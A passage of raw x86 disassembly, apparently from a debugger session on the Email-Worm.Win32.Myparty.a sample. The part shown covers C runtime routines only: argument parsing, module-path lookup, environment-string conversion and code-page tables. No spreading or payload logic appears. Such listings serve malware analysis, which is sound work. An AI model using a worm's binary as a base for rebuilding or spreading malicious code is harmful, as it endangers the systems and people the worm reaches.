JE SHORT www_mypa.0040669A 00406637 8BFD MOV EDI,EBP 00406639 83C9 FF OR ECX,FFFFFFFF 0040663C 33C0 XOR EAX,EAX 0040663E F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00406640 F7D1 NOT ECX 00406642 49 DEC ECX 00406643 8BD9 MOV EBX,ECX 00406645 43 INC EBX 00406646 80FA 3D CMP DL,3D 00406649 74 45 JE SHORT www_mypa.00406690 0040664B 53 PUSH EBX 0040664C E8 AFBFFFFF CALL www_mypa.00402600 00406651 83C4 04 ADD ESP,4 00406654 8906 MOV DWORD PTR DS:[ESI],EAX 00406656 85C0 TEST EAX,EAX 00406658 75 0A JNZ SHORT www_mypa.00406664 0040665A 6A 09 PUSH 9 0040665C E8 1FD0FFFF CALL www_mypa.00403680 00406661 83C4 04 ADD ESP,4 00406664 8BFD MOV EDI,EBP 00406666 83C9 FF OR ECX,FFFFFFFF 00406669 33C0 XOR EAX,EAX 0040666B F2:AE REPNE SCAS BYTE PTR ES:[EDI] 0040666D 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00406671 F7D1 NOT ECX 00406673 2BF9 SUB EDI,ECX 00406675 8BD1 MOV EDX,ECX 00406677 8BF7 MOV ESI,EDI 00406679 8B38 MOV EDI,DWORD PTR DS:[EAX] 0040667B C1E9 02 SHR ECX,2 0040667E F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00406680 8BCA MOV ECX,EDX 00406682 83E1 03 AND ECX,3 00406685 83C0 04 ADD EAX,4 00406688 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0040668A 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 0040668E 8BF0 MOV ESI,EAX 00406690 8A541D 00 MOV DL,BYTE PTR SS:[EBP+EBX] 00406694 03EB ADD EBP,EBX 00406696 84D2 TEST DL,DL 00406698 ^75 9D JNZ SHORT www_mypa.00406637 0040669A A1 34074100 MOV EAX,DWORD PTR DS:[410734] 0040669F 50 PUSH EAX 004066A0 E8 CBD0FFFF CALL www_mypa.00403770 004066A5 83C4 04 ADD ESP,4 004066A8 C705 34074100 00>MOV DWORD PTR DS:[410734],0 004066B2 C706 00000000 MOV DWORD PTR DS:[ESI],0 004066B8 5F POP EDI 004066B9 5E POP ESI 004066BA 5D POP EBP 004066BB 5B POP EBX 004066BC 59 POP ECX 004066BD C3 RETN 004066BE 90 NOP 004066BF 90 NOP 004066C0 83EC 08 SUB ESP,8 004066C3 56 PUSH ESI 004066C4 57 PUSH EDI 004066C5 68 04010000 PUSH 104 004066CA 68 38084100 PUSH www_mypa.00410838 ; ASCII "C:\util\Email-Worm.Win32.Myparty.a\www.myparty.yahoo.com" 004066CF 6A 00 PUSH 0 004066D1 FF15 50224100 CALL DWORD PTR DS:[412250] ; kernel32.GetModuleFileNameA 004066D7 8B3D E81B4100 MOV EDI,DWORD PTR DS:[411BE8] 004066DD C705 20074100 38>MOV DWORD PTR DS:[410720],www_mypa.00410>; ASCII "C:\util\Email-Worm.Win32.Myparty.a\www.myparty.yahoo.com" 004066E7 803F 00 CMP BYTE PTR DS:[EDI],0 004066EA 75 05 JNZ SHORT www_mypa.004066F1 004066EC BF 38084100 MOV EDI,www_mypa.00410838 ; ASCII "C:\util\Email-Worm.Win32.Myparty.a\www.myparty.yahoo.com" 004066F1 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 004066F5 8D4C24 08 LEA ECX,DWORD PTR SS:[ESP+8] 004066F9 50 PUSH EAX 004066FA 51 PUSH ECX 004066FB 6A 00 PUSH 0 004066FD 6A 00 PUSH 0 004066FF 57 PUSH EDI 00406700 E8 5B000000 CALL www_mypa.00406760 00406705 8B5424 20 MOV EDX,DWORD PTR SS:[ESP+20] 00406709 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 0040670D 83C4 14 ADD ESP,14 00406710 8D0C82 LEA ECX,DWORD PTR DS:[EDX+EAX*4] 00406713 51 PUSH ECX 00406714 E8 E7BEFFFF CALL www_mypa.00402600 00406719 8BF0 MOV ESI,EAX 0040671B 83C4 04 ADD ESP,4 0040671E 85F6 TEST ESI,ESI 00406720 75 0A JNZ SHORT www_mypa.0040672C 00406722 6A 08 PUSH 8 00406724 E8 57CFFFFF CALL www_mypa.00403680 00406729 83C4 04 ADD ESP,4 0040672C 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00406730 8D5424 0C LEA EDX,DWORD PTR SS:[ESP+C] 00406734 52 PUSH EDX 00406735 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 00406739 8D148E LEA EDX,DWORD PTR DS:[ESI+ECX*4] 0040673C 50 PUSH EAX 0040673D 52 PUSH EDX 0040673E 56 PUSH ESI 0040673F 57 PUSH EDI 00406740 E8 1B000000 CALL www_mypa.00406760 00406745 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 00406749 83C4 14 ADD ESP,14 0040674C 48 DEC EAX 0040674D 8935 08074100 MOV DWORD PTR DS:[410708],ESI 00406753 5F POP EDI 00406754 A3 04074100 MOV DWORD PTR DS:[410704],EAX 00406759 5E POP ESI 0040675A 83C4 08 ADD ESP,8 0040675D C3 RETN 0040675E 90 NOP 0040675F 90 NOP 00406760 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00406764 53 PUSH EBX 00406765 55 PUSH EBP 00406766 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10] 0040676A 56 PUSH ESI 0040676B 8B7424 18 MOV ESI,DWORD PTR SS:[ESP+18] 0040676F 57 PUSH EDI 00406770 8B7C24 24 MOV EDI,DWORD PTR SS:[ESP+24] 00406774 85ED TEST EBP,EBP 00406776 C707 00000000 MOV DWORD PTR DS:[EDI],0 0040677C C700 01000000 MOV DWORD PTR DS:[EAX],1 00406782 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00406786 BB 04000000 MOV EBX,4 0040678B 74 09 JE SHORT www_mypa.00406796 0040678D 8975 00 MOV DWORD PTR SS:[EBP],ESI 00406790 03EB ADD EBP,EBX 00406792 896C24 18 MOV DWORD PTR SS:[ESP+18],EBP 00406796 8038 22 CMP BYTE PTR DS:[EAX],22 00406799 75 56 JNZ SHORT www_mypa.004067F1 0040679B 8A48 01 MOV CL,BYTE PTR DS:[EAX+1] 0040679E 40 INC EAX 0040679F 80F9 22 CMP CL,22 004067A2 74 38 JE SHORT www_mypa.004067DC 004067A4 84C9 TEST CL,CL 004067A6 74 34 JE SHORT www_mypa.004067DC 004067A8 81E1 FF000000 AND ECX,0FF 004067AE 8499 49094100 TEST BYTE PTR DS:[ECX+410949],BL 004067B4 74 0F JE SHORT www_mypa.004067C5 004067B6 8B17 MOV EDX,DWORD PTR DS:[EDI] 004067B8 42 INC EDX 004067B9 85F6 TEST ESI,ESI 004067BB 8917 MOV DWORD PTR DS:[EDI],EDX 004067BD 74 06 JE SHORT www_mypa.004067C5 004067BF 8A08 MOV CL,BYTE PTR DS:[EAX] 004067C1 880E MOV BYTE PTR DS:[ESI],CL 004067C3 46 INC ESI 004067C4 40 INC EAX 004067C5 8B17 MOV EDX,DWORD PTR DS:[EDI] 004067C7 42 INC EDX 004067C8 85F6 TEST ESI,ESI 004067CA 8917 MOV DWORD PTR DS:[EDI],EDX 004067CC 74 05 JE SHORT www_mypa.004067D3 004067CE 8A10 MOV DL,BYTE PTR DS:[EAX] 004067D0 8816 MOV BYTE PTR DS:[ESI],DL 004067D2 46 INC ESI 004067D3 8A48 01 MOV CL,BYTE PTR DS:[EAX+1] 004067D6 40 INC EAX 004067D7 80F9 22 CMP CL,22 004067DA ^75 C8 JNZ SHORT www_mypa.004067A4 004067DC 8B17 MOV EDX,DWORD PTR DS:[EDI] 004067DE 42 INC EDX 004067DF 85F6 TEST ESI,ESI 004067E1 8917 MOV DWORD PTR DS:[EDI],EDX 004067E3 74 04 JE SHORT www_mypa.004067E9 004067E5 C606 00 MOV BYTE PTR DS:[ESI],0 004067E8 46 INC ESI 004067E9 8038 22 CMP BYTE PTR DS:[EAX],22 004067EC 75 56 JNZ SHORT www_mypa.00406844 004067EE 40 INC EAX 004067EF EB 53 JMP SHORT www_mypa.00406844 004067F1 8B17 MOV EDX,DWORD PTR DS:[EDI] 004067F3 42 INC EDX 004067F4 85F6 TEST ESI,ESI 004067F6 8917 MOV DWORD PTR DS:[EDI],EDX 004067F8 74 05 JE SHORT www_mypa.004067FF 004067FA 8A08 MOV CL,BYTE PTR DS:[EAX] 004067FC 880E MOV BYTE PTR DS:[ESI],CL 004067FE 46 INC ESI 004067FF 8A08 MOV CL,BYTE PTR DS:[EAX] 00406801 40 INC EAX 00406802 884C24 24 MOV BYTE PTR SS:[ESP+24],CL 00406806 8B5424 24 MOV EDX,DWORD PTR SS:[ESP+24] 0040680A 81E2 FF000000 AND EDX,0FF 00406810 849A 49094100 TEST BYTE PTR DS:[EDX+410949],BL 00406816 74 0F JE SHORT www_mypa.00406827 00406818 8B17 MOV EDX,DWORD PTR DS:[EDI] 0040681A 42 INC EDX 0040681B 85F6 TEST ESI,ESI 0040681D 8917 MOV DWORD PTR DS:[EDI],EDX 0040681F 74 05 JE SHORT www_mypa.00406826 00406821 8A10 MOV DL,BYTE PTR DS:[EAX] 00406823 8816 MOV BYTE PTR DS:[ESI],DL 00406825 46 INC ESI 00406826 40 INC EAX 00406827 80F9 20 CMP CL,20 0040682A 74 09 JE SHORT www_mypa.00406835 0040682C 84C9 TEST CL,CL 0040682E 74 09 JE SHORT www_mypa.00406839 00406830 80F9 09 CMP CL,9 00406833 ^75 BC JNZ SHORT www_mypa.004067F1 00406835 84C9 TEST CL,CL 00406837 75 03 JNZ SHORT www_mypa.0040683C 00406839 48 DEC EAX 0040683A EB 08 JMP SHORT www_mypa.00406844 0040683C 85F6 TEST ESI,ESI 0040683E 74 04 JE SHORT www_mypa.00406844 00406840 C646 FF 00 MOV BYTE PTR DS:[ESI-1],0 00406844 33D2 XOR EDX,EDX 00406846 895424 24 MOV DWORD PTR SS:[ESP+24],EDX 0040684A 8038 00 CMP BYTE PTR DS:[EAX],0 0040684D 0F84 03010000 JE www_mypa.00406956 00406853 8A08 MOV CL,BYTE PTR DS:[EAX] 00406855 80F9 20 CMP CL,20 00406858 74 05 JE SHORT www_mypa.0040685F 0040685A 80F9 09 CMP CL,9 0040685D 75 03 JNZ SHORT www_mypa.00406862 0040685F 40 INC EAX 00406860 ^EB F1 JMP SHORT www_mypa.00406853 00406862 8038 00 CMP BYTE PTR DS:[EAX],0 00406865 0F84 EB000000 JE www_mypa.00406956 0040686B 85ED TEST EBP,EBP 0040686D 74 09 JE SHORT www_mypa.00406878 0040686F 8975 00 MOV DWORD PTR SS:[EBP],ESI 00406872 03EB ADD EBP,EBX 00406874 896C24 18 MOV DWORD PTR SS:[ESP+18],EBP 00406878 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 0040687C FF01 INC DWORD PTR DS:[ECX] 0040687E 8A18 MOV BL,BYTE PTR DS:[EAX] 00406880 33C9 XOR ECX,ECX 00406882 80FB 5C CMP BL,5C 00406885 BD 01000000 MOV EBP,1 0040688A 75 0A JNZ SHORT www_mypa.00406896 0040688C 8A58 01 MOV BL,BYTE PTR DS:[EAX+1] 0040688F 40 INC EAX 00406890 41 INC ECX 00406891 80FB 5C CMP BL,5C 00406894 ^74 F6 JE SHORT www_mypa.0040688C 00406896 8038 22 CMP BYTE PTR DS:[EAX],22 00406899 75 25 JNZ SHORT www_mypa.004068C0 0040689B F6C1 01 TEST CL,1 0040689E 75 1E JNZ SHORT www_mypa.004068BE 004068A0 85D2 TEST EDX,EDX 004068A2 74 09 JE SHORT www_mypa.004068AD 004068A4 8078 01 22 CMP BYTE PTR DS:[EAX+1],22 004068A8 75 03 JNZ SHORT www_mypa.004068AD 004068AA 40 INC EAX 004068AB EB 02 JMP SHORT www_mypa.004068AF 004068AD 33ED XOR EBP,EBP 004068AF 8B5C24 24 MOV EBX,DWORD PTR SS:[ESP+24] 004068B3 33D2 XOR EDX,EDX 004068B5 85DB TEST EBX,EBX 004068B7 0F94C2 SETE DL 004068BA 895424 24 MOV DWORD PTR SS:[ESP+24],EDX 004068BE D1E9 SHR ECX,1 004068C0 8BD9 MOV EBX,ECX 004068C2 49 DEC ECX 004068C3 85DB TEST EBX,EBX 004068C5 74 11 JE SHORT www_mypa.004068D8 004068C7 41 INC ECX 004068C8 85F6 TEST ESI,ESI 004068CA 74 04 JE SHORT www_mypa.004068D0 004068CC C606 5C MOV BYTE PTR DS:[ESI],5C 004068CF 46 INC ESI 004068D0 8B1F MOV EBX,DWORD PTR DS:[EDI] 004068D2 43 INC EBX 004068D3 49 DEC ECX 004068D4 891F MOV DWORD PTR DS:[EDI],EBX 004068D6 ^75 F0 JNZ SHORT www_mypa.004068C8 004068D8 8A08 MOV CL,BYTE PTR DS:[EAX] 004068DA 84C9 TEST CL,CL 004068DC 74 5D JE SHORT www_mypa.0040693B 004068DE 85D2 TEST EDX,EDX 004068E0 75 0A JNZ SHORT www_mypa.004068EC 004068E2 80F9 20 CMP CL,20 004068E5 74 54 JE SHORT www_mypa.0040693B 004068E7 80F9 09 CMP CL,9 004068EA 74 4F JE SHORT www_mypa.0040693B 004068EC 85ED TEST EBP,EBP 004068EE 74 45 JE SHORT www_mypa.00406935 004068F0 85F6 TEST ESI,ESI 004068F2 74 2A JE SHORT www_mypa.0040691E 004068F4 8BD9 MOV EBX,ECX 004068F6 81E3 FF000000 AND EBX,0FF 004068FC F683 49094100 04 TEST BYTE PTR DS:[EBX+410949],4 00406903 74 09 JE SHORT www_mypa.0040690E 00406905 880E MOV BYTE PTR DS:[ESI],CL 00406907 8B0F MOV ECX,DWORD PTR DS:[EDI] 00406909 46 INC ESI 0040690A 40 INC EAX 0040690B 41 INC ECX 0040690C 890F MOV DWORD PTR DS:[EDI],ECX 0040690E 8A08 MOV CL,BYTE PTR DS:[EAX] 00406910 880E MOV BYTE PTR DS:[ESI],CL 00406912 8B0F MOV ECX,DWORD PTR DS:[EDI] 00406914 46 INC ESI 00406915 41 INC ECX 00406916 890F MOV DWORD PTR DS:[EDI],ECX 00406918 40 INC EAX 00406919 ^E9 60FFFFFF JMP www_mypa.0040687E 0040691E 81E1 FF000000 AND ECX,0FF 00406924 F681 49094100 04 TEST BYTE PTR DS:[ECX+410949],4 0040692B 74 06 JE SHORT www_mypa.00406933 0040692D 8B0F MOV ECX,DWORD PTR DS:[EDI] 0040692F 40 INC EAX 00406930 41 INC ECX 00406931 890F MOV DWORD PTR DS:[EDI],ECX 00406933 FF07 INC DWORD PTR DS:[EDI] 00406935 40 INC EAX 00406936 ^E9 43FFFFFF JMP www_mypa.0040687E 0040693B 85F6 TEST ESI,ESI 0040693D 74 04 JE SHORT www_mypa.00406943 0040693F C606 00 MOV BYTE PTR DS:[ESI],0 00406942 46 INC ESI 00406943 8B0F MOV ECX,DWORD PTR DS:[EDI] 00406945 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 00406949 41 INC ECX 0040694A BB 04000000 MOV EBX,4 0040694F 890F MOV DWORD PTR DS:[EDI],ECX 00406951 ^E9 F4FEFFFF JMP www_mypa.0040684A 00406956 85ED TEST EBP,EBP 00406958 74 07 JE SHORT www_mypa.00406961 0040695A C745 00 00000000 MOV DWORD PTR SS:[EBP],0 00406961 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 00406965 5F POP EDI 00406966 5E POP ESI 00406967 5D POP EBP 00406968 8B08 MOV ECX,DWORD PTR DS:[EAX] 0040696A 5B POP EBX 0040696B 41 INC ECX 0040696C 8908 MOV DWORD PTR DS:[EAX],ECX 0040696E C3 RETN 0040696F 90 NOP 00406970 A1 40094100 MOV EAX,DWORD PTR DS:[410940] 00406975 53 PUSH EBX 00406976 55 PUSH EBP 00406977 8B2D 60224100 MOV EBP,DWORD PTR DS:[412260] ; kernel32.GetEnvironmentStringsA 0040697D 56 PUSH ESI 0040697E 33F6 XOR ESI,ESI 00406980 33DB XOR EBX,EBX 00406982 57 PUSH EDI 00406983 8B3D 3C224100 MOV EDI,DWORD PTR DS:[41223C] ; kernel32.GetEnvironmentStringsW 00406989 85C0 TEST EAX,EAX 0040698B 75 25 JNZ SHORT www_mypa.004069B2 0040698D FFD7 CALL EDI 0040698F 8BF0 MOV ESI,EAX 00406991 85F6 TEST ESI,ESI 00406993 74 07 JE SHORT www_mypa.0040699C 00406995 B8 01000000 MOV EAX,1 0040699A EB 11 JMP SHORT www_mypa.004069AD 0040699C FFD5 CALL EBP 0040699E 8BD8 MOV EBX,EAX 004069A0 85DB TEST EBX,EBX 004069A2 0F84 17010000 JE www_mypa.00406ABF 004069A8 B8 02000000 MOV EAX,2 004069AD A3 40094100 MOV DWORD PTR DS:[410940],EAX 004069B2 83F8 01 CMP EAX,1 004069B5 0F85 97000000 JNZ www_mypa.00406A52 004069BB 85F6 TEST ESI,ESI 004069BD 75 0C JNZ SHORT www_mypa.004069CB 004069BF FFD7 CALL EDI 004069C1 8BF0 MOV ESI,EAX 004069C3 85F6 TEST ESI,ESI 004069C5 0F84 F4000000 JE www_mypa.00406ABF 004069CB 66:833E 00 CMP WORD PTR DS:[ESI],0 004069CF 8BC6 MOV EAX,ESI 004069D1 74 12 JE SHORT www_mypa.004069E5 004069D3 83C0 02 ADD EAX,2 004069D6 66:8338 00 CMP WORD PTR DS:[EAX],0 004069DA ^75 F7 JNZ SHORT www_mypa.004069D3 004069DC 83C0 02 ADD EAX,2 004069DF 66:8338 00 CMP WORD PTR DS:[EAX],0 004069E3 ^75 EE JNZ SHORT www_mypa.004069D3 004069E5 2BC6 SUB EAX,ESI 004069E7 6A 00 PUSH 0 004069E9 D1F8 SAR EAX,1 004069EB 40 INC EAX 004069EC 6A 00 PUSH 0 004069EE 8BE8 MOV EBP,EAX 004069F0 6A 00 PUSH 0 004069F2 6A 00 PUSH 0 004069F4 55 PUSH EBP 004069F5 56 PUSH ESI 004069F6 6A 00 PUSH 0 004069F8 6A 00 PUSH 0 004069FA FF15 24224100 CALL DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 00406A00 8BF8 MOV EDI,EAX 00406A02 85FF TEST EDI,EDI 00406A04 74 3E JE SHORT www_mypa.00406A44 00406A06 57 PUSH EDI 00406A07 E8 F4BBFFFF CALL www_mypa.00402600 00406A0C 8BD8 MOV EBX,EAX 00406A0E 83C4 04 ADD ESP,4 00406A11 85DB TEST EBX,EBX 00406A13 74 2F JE SHORT www_mypa.00406A44 00406A15 6A 00 PUSH 0 00406A17 6A 00 PUSH 0 00406A19 57 PUSH EDI 00406A1A 53 PUSH EBX 00406A1B 55 PUSH EBP 00406A1C 56 PUSH ESI 00406A1D 6A 00 PUSH 0 00406A1F 6A 00 PUSH 0 00406A21 FF15 24224100 CALL DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 00406A27 85C0 TEST EAX,EAX 00406A29 75 0B JNZ SHORT www_mypa.00406A36 00406A2B 53 PUSH EBX 00406A2C E8 3FCDFFFF CALL www_mypa.00403770 00406A31 83C4 04 ADD ESP,4 00406A34 33DB XOR EBX,EBX 00406A36 56 PUSH ESI 00406A37 FF15 5C224100 CALL DWORD PTR DS:[41225C] ; kernel32.FreeEnvironmentStringsW 00406A3D 8BC3 MOV EAX,EBX 00406A3F 5F POP EDI 00406A40 5E POP ESI 00406A41 5D POP EBP 00406A42 5B POP EBX 00406A43 C3 RETN 00406A44 56 PUSH ESI 00406A45 FF15 5C224100 CALL DWORD PTR DS:[41225C] ; kernel32.FreeEnvironmentStringsW 00406A4B 33C0 XOR EAX,EAX 00406A4D 5F POP EDI 00406A4E 5E POP ESI 00406A4F 5D POP EBP 00406A50 5B POP EBX 00406A51 C3 RETN 00406A52 83F8 02 CMP EAX,2 00406A55 75 68 JNZ SHORT www_mypa.00406ABF 00406A57 85DB TEST EBX,EBX 00406A59 75 08 JNZ SHORT www_mypa.00406A63 00406A5B FFD5 CALL EBP 00406A5D 8BD8 MOV EBX,EAX 00406A5F 85DB TEST EBX,EBX 00406A61 74 5C JE SHORT www_mypa.00406ABF 00406A63 8A0B MOV CL,BYTE PTR DS:[EBX] 00406A65 8BC3 MOV EAX,EBX 00406A67 84C9 TEST CL,CL 00406A69 74 10 JE SHORT www_mypa.00406A7B 00406A6B 8A48 01 MOV CL,BYTE PTR DS:[EAX+1] 00406A6E 40 INC EAX 00406A6F 84C9 TEST CL,CL 00406A71 ^75 F8 JNZ SHORT www_mypa.00406A6B 00406A73 8A48 01 MOV CL,BYTE PTR DS:[EAX+1] 00406A76 40 INC EAX 00406A77 84C9 TEST CL,CL 00406A79 ^75 F0 JNZ SHORT www_mypa.00406A6B 00406A7B 2BC3 SUB EAX,EBX 00406A7D 40 INC EAX 00406A7E 8BF0 MOV ESI,EAX 00406A80 56 PUSH ESI 00406A81 E8 7ABBFFFF CALL www_mypa.00402600 00406A86 8BE8 MOV EBP,EAX 00406A88 83C4 04 ADD ESP,4 00406A8B 85ED TEST EBP,EBP 00406A8D 75 0E JNZ SHORT www_mypa.00406A9D 00406A8F 53 PUSH EBX 00406A90 FF15 54224100 CALL DWORD PTR DS:[412254] ; kernel32.FreeEnvironmentStringsA 00406A96 33C0 XOR EAX,EAX 00406A98 5F POP EDI 00406A99 5E POP ESI 00406A9A 5D POP EBP 00406A9B 5B POP EBX 00406A9C C3 RETN 00406A9D 8BCE MOV ECX,ESI 00406A9F 8BF3 MOV ESI,EBX 00406AA1 8BC1 MOV EAX,ECX 00406AA3 8BFD MOV EDI,EBP 00406AA5 C1E9 02 SHR ECX,2 00406AA8 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00406AAA 8BC8 MOV ECX,EAX 00406AAC 53 PUSH EBX 00406AAD 83E1 03 AND ECX,3 00406AB0 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 00406AB2 FF15 54224100 CALL DWORD PTR DS:[412254] ; kernel32.FreeEnvironmentStringsA 00406AB8 8BC5 MOV EAX,EBP 00406ABA 5F POP EDI 00406ABB 5E POP ESI 00406ABC 5D POP EBP 00406ABD 5B POP EBX 00406ABE C3 RETN 00406ABF 5F POP EDI 00406AC0 5E POP ESI 00406AC1 5D POP EBP 00406AC2 33C0 XOR EAX,EAX 00406AC4 5B POP EBX 00406AC5 C3 RETN 00406AC6 90 NOP 00406AC7 90 NOP 00406AC8 90 NOP 00406AC9 90 NOP 00406ACA 90 NOP 00406ACB 90 NOP 00406ACC 90 NOP 00406ACD 90 NOP 00406ACE 90 NOP 00406ACF 90 NOP 00406AD0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00406AD4 83EC 14 SUB ESP,14 00406AD7 53 PUSH EBX 00406AD8 55 PUSH EBP 00406AD9 56 PUSH ESI 00406ADA 57 PUSH EDI 00406ADB 50 PUSH EAX 00406ADC E8 DF010000 CALL www_mypa.00406CC0 00406AE1 8BE8 MOV EBP,EAX 00406AE3 A1 4C0A4100 MOV EAX,DWORD PTR DS:[410A4C] 00406AE8 83C4 04 ADD ESP,4 00406AEB 3BE8 CMP EBP,EAX 00406AED 896C24 28 MOV DWORD PTR SS:[ESP+28],EBP 00406AF1 75 0A JNZ SHORT www_mypa.00406AFD 00406AF3 33C0 XOR EAX,EAX 00406AF5 5F POP EDI 00406AF6 5E POP ESI 00406AF7 5D POP EBP 00406AF8 5B POP EBX 00406AF9 83C4 14 ADD ESP,14 00406AFC C3 RETN 00406AFD 33F6 XOR ESI,ESI 00406AFF 3BEE CMP EBP,ESI 00406B01 75 0F JNZ SHORT www_mypa.00406B12 00406B03 E8 68020000 CALL www_mypa.00406D70 00406B08 33C0 XOR EAX,EAX 00406B0A 5F POP EDI 00406B0B 5E POP ESI 00406B0C 5D POP EBP 00406B0D 5B POP EBX 00406B0E 83C4 14 ADD ESP,14 00406B11 C3 RETN 00406B12 33D2 XOR EDX,EDX 00406B14 B8 B0EE4000 MOV EAX,www_mypa.0040EEB0 00406B19 3928 CMP DWORD PTR DS:[EAX],EBP 00406B1B 0F84 F3000000 JE www_mypa.00406C14 00406B21 83C0 30 ADD EAX,30 00406B24 42 INC EDX 00406B25 3D A0EF4000 CMP EAX,www_mypa.0040EFA0 00406B2A ^72 ED JB SHORT www_mypa.00406B19 00406B2C 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10] 00406B30 51 PUSH ECX 00406B31 55 PUSH EBP 00406B32 FF15 68224100 CALL DWORD PTR DS:[412268] ; kernel32.GetCPInfo 00406B38 83F8 01 CMP EAX,1 00406B3B 0F85 B1000000 JNZ www_mypa.00406BF2 00406B41 B9 40000000 MOV ECX,40 00406B46 33C0 XOR EAX,EAX 00406B48 BF 48094100 MOV EDI,www_mypa.00410948 00406B4D F3:AB REP STOS DWORD PTR ES:[EDI] 00406B4F AA STOS BYTE PTR ES:[EDI] 00406B50 837C24 10 01 CMP DWORD PTR SS:[ESP+10],1 00406B55 76 71 JBE SHORT www_mypa.00406BC8 00406B57 8A4424 16 MOV AL,BYTE PTR SS:[ESP+16] 00406B5B 84C0 TEST AL,AL 00406B5D 74 37 JE SHORT www_mypa.00406B96 00406B5F 8D5424 17 LEA EDX,DWORD PTR SS:[ESP+17] 00406B63 8A0A MOV CL,BYTE PTR DS:[EDX] 00406B65 84C9 TEST CL,CL 00406B67 74 2D JE SHORT www_mypa.00406B96 00406B69 33C0 XOR EAX,EAX 00406B6B 81E1 FF000000 AND ECX,0FF 00406B71 8A42 FF MOV AL,BYTE PTR DS:[EDX-1] 00406B74 3BC1 CMP EAX,ECX 00406B76 77 14 JA SHORT www_mypa.00406B8C 00406B78 8A98 49094100 MOV BL,BYTE PTR DS:[EAX+410949] 00406B7E 80CB 04 OR BL,4 00406B81 8898 49094100 MOV BYTE PTR DS:[EAX+410949],BL 00406B87 40 INC EAX 00406B88 3BC1 CMP EAX,ECX 00406B8A ^76 EC JBE SHORT www_mypa.00406B78 00406B8C 8A42 01 MOV AL,BYTE PTR DS:[EDX+1] 00406B8F 83C2 02 ADD EDX,2 00406B92 84C0 TEST AL,AL 00406B94 ^75 CD JNZ SHORT www_mypa.00406B63 00406B96 B8 01000000 MOV EAX,1 00406B9B 8A98 49094100 MOV BL,BYTE PTR DS:[EAX+410949] 00406BA1 80CB 08 OR BL,8 00406BA4 8898 49094100 MOV BYTE PTR DS:[EAX+410949],BL 00406BAA 40 INC EAX 00406BAB 3D FF000000 CMP EAX,0FF 00406BB0 ^72 E9 JB SHORT www_mypa.00406B9B 00406BB2 55 PUSH EBP 00406BB3 892D 4C0A4100 MOV DWORD PTR DS:[410A4C],EBP 00406BB9 E8 52010000 CALL www_mypa.00406D10 00406BBE 83C4 04 ADD ESP,4 00406BC1 A3 500A4100 MOV DWORD PTR DS:[410A50],EAX 00406BC6 EB 0C JMP SHORT www_mypa.00406BD4 00406BC8 8935 4C0A4100 MOV DWORD PTR DS:[410A4C],ESI 00406BCE 8935 500A4100 MOV DWORD PTR DS:[410A50],ESI 00406BD4 33D2 XOR EDX,EDX 00406BD6 33C0 XOR EAX,EAX 00406BD8 8915 580A4100 MOV DWORD PTR DS:[410A58],EDX 00406BDE 8915 5C0A4100 MOV DWORD PTR DS:[410A5C],EDX 00406BE4 8915 600A4100 MOV DWORD PTR DS:[410A60],EDX 00406BEA 5F POP EDI 00406BEB 5E POP ESI 00406BEC 5D POP EBP 00406BED 5B POP EBX 00406BEE 83C4 14 ADD ESP,14 00406BF1 C3 RETN 00406BF2 3935 640A4100 CMP DWORD PTR DS:[410A64],ESI 00406BF8 74 0F JE SHORT www_mypa.00406C09 00406BFA E8 71010000 CALL www_mypa.00406D70 00406BFF 33C0 XOR EAX,EAX 00406C01 5F POP EDI 00406C02 5E POP ESI 00406C03 5D POP EBP 00406C04 5B POP EBX 00406C05 83C4 14 ADD ESP,14 00406C08 C3 RETN 00406C09 83C8 FF OR EAX,FFFFFFFF 00406C0C 5F POP EDI 00406C0D 5E POP ESI 00406C0E 5D POP EBP 00406C0F 5B POP EBX 00406C10 83C4 14 ADD ESP,14 00406C13 C3 RETN 00406C14 B9 40000000 MOV ECX,40 00406C19 33C0 XOR EAX,EAX 00406C1B BF 48094100 MOV EDI,www_mypa.00410948 00406C20 8D1C52 LEA EBX,DWORD PTR DS:[EDX+EDX*2] 00406C23 F3:AB REP STOS DWORD PTR ES:[EDI] 00406C25 AA STOS BYTE PTR ES:[EDI] 00406C26 33FF XOR EDI,EDI 00406C28 C1E3 04 SHL EBX,4 00406C2B 8DAB C0EE4000 LEA EBP,DWORD PTR DS:[EBX+40EEC0] 00406C31 8A45 00 MOV AL,BYTE PTR SS:[EBP] 00406C34 8BF5 MOV ESI,EBP 00406C36 84C0 TEST AL,AL 00406C38 74 30 JE SHORT www_mypa.00406C6A 00406C3A 8A4E 01 MOV CL,BYTE PTR DS:[ESI+1] 00406C3D 84C9 TEST CL,CL 00406C3F 74 29 JE SHORT www_mypa.00406C6A 00406C41 33C0 XOR EAX,EAX 00406C43 81E1 FF000000 AND ECX,0FF 00406C49 8A06 MOV AL,BYTE PTR DS:[ESI] 00406C4B 3BC1 CMP EAX,ECX 00406C4D 77 11 JA SHORT www_mypa.00406C60 00406C4F 8A97 A8EE4000 MOV DL,BYTE PTR DS:[EDI+40EEA8] 00406C55 0890 49094100 OR BYTE PTR DS:[EAX+410949],DL 00406C5B 40 INC EAX 00406C5C 3BC1 CMP EAX,ECX 00406C5E ^76 F5 JBE SHORT www_mypa.00406C55 00406C60 8A46 02 MOV AL,BYTE PTR DS:[ESI+2] 00406C63 83C6 02 ADD ESI,2 00406C66 84C0 TEST AL,AL 00406C68 ^75 D0 JNZ SHORT www_mypa.00406C3A 00406C6A 